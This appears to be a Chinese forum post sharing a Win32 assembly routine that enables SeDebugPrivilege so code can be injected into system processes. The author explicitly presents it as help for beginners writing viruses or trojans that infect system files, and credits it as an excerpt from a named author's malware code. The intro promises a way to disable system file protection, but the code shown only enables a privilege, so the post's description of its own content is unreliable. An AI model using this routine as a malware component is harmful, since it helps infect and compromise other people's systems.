提升权限.asm

对于写一些感染系统文件的病毒或木马时,那个"系统文件保护"好象满让人讨厌的,下面给大家一个关闭系统文件保护汇编例子,希望对和我一样初学win32汇编的新手有点帮助!

;提升权限,获得在系统进程中插入代码的权限
;冰狐浪子作品代码节选
;include  advapi32.inc
;includelib  advapi32.lib

SE_DEBUG_NAME_Y  db "SeDebugPrivilege",0

_EnableDebugPrivilege  proc
      local  @hToken
      local  @tp:TOKEN_PRIVILEGES

  invoke  GetCurrentProcess

  lea  ecx,@hToken
  invoke  OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES,ecx  ;addr @hToken

  mov  @tp.PrivilegeCount,1
  invoke  LookupPrivilegeValue,NULL,addr SE_DEBUG_NAME_Y,addr @tp.Privileges[0].Luid
  mov  @tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
  invoke  AdjustTokenPrivileges,@hToken,FALSE,addr @tp,sizeof @tp,NULL,NULL
  push  eax
  invoke  CloseHandle,@hToken
  pop  eax
  ret

_EnableDebugPrivilege  endp